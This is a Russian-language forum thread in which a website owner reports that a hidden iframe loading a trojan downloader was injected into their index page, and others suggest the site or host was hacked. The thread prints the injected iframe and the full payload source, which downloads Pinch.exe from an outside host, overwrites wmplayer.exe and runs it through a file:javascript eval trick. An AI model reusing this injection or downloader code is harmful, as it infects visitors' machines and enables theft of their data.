Может и не в тот раздел... а может и не в тот форум... но других и не знаю...
так вот в чем проблема...
здесь недавно обнаружил у себя на сате, что на главной странице появился вирус...
TrojanDownloader.VBS.Psyme.a
послал письмо хостерам типа разберитесь, пожалуйста!

и решил посмотреть, что случилось...
так вот индексная страница исправленна и в ее теле находится вот это
<iframe src="http://autogorod.com/allbusiness/_data/library/index.html" style="width: 1px; height: 1px" frameborder="0">
</iframe>
лучше не нажимайте... там вирус!!!!
по названию вижу, что конкуренты...
может кто подскажет, как такое могло случиться?

хакнули сайт. если сам, конечно не вставлял этот кусок.

там видимо хостера хакнули...
сегодня молчит весь день техподдержка...
фтп не работает... эхххххх

черный понедельник

<textarea id="code" style="display:none;">

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://autogorod.com/allbusiness/_data/library/Pinch.exe",0);
x.Send();

var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);

s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";

</textarea>

<script language="javascript">

function preparecode(code) {
result = '';
lines = code.split(/\r\n/);
for (i=0;i<lines.length;i++) {

line = lines[i];
line = line.replace(/^\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\\'");
line = line.replace(/[\\]/g,"\\\\");
line = line.replace(/[/]/g,"%2f");

if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}

function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:javascript:eval('" + mycode + "')";
window.open(myURL,"_media")
}


setTimeout("doit()", 5000);


</script>